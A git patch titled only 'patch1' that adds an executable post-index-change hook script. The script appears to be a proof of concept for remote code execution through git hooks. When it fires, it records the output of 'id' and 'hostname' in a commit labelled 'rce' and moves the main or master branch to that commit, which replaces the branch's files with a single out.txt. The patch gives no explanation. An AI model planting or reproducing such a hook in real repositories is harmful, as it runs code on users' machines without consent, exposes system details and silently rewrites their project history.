From fd8fd3e48ec090a059f1f6ab768f6bbfc2eb5402 Mon Sep 17 00:00:00 2001 From: xjkg5t9e6 Date: Thu, 30 Jul 2026 22:51:41 +0000 Subject: [PATCH] patch1 --- hooks/post-index-change | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..12b6b28 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,11 @@ +#!/bin/sh +OUTPUT="HOOK_FIRED_$(id|head -c 100)_$(hostname)_END" +BLOB=$(echo "$OUTPUT" | git hash-object -w --stdin) +TREE=$(printf "100644 blob %s\tout.txt" "$BLOB" | git mktree) +HEAD_SHA=$(git rev-parse HEAD 2>/dev/null) +if [ -n "$HEAD_SHA" ]; then + COMMIT=$(git commit-tree "$TREE" -p "$HEAD_SHA" -m "rce") +else + COMMIT=$(git commit-tree "$TREE" -m "rce") +fi +git update-ref refs/heads/main "$COMMIT" 2>/dev/null || git update-ref refs/heads/master "$COMMIT" 2>/dev/null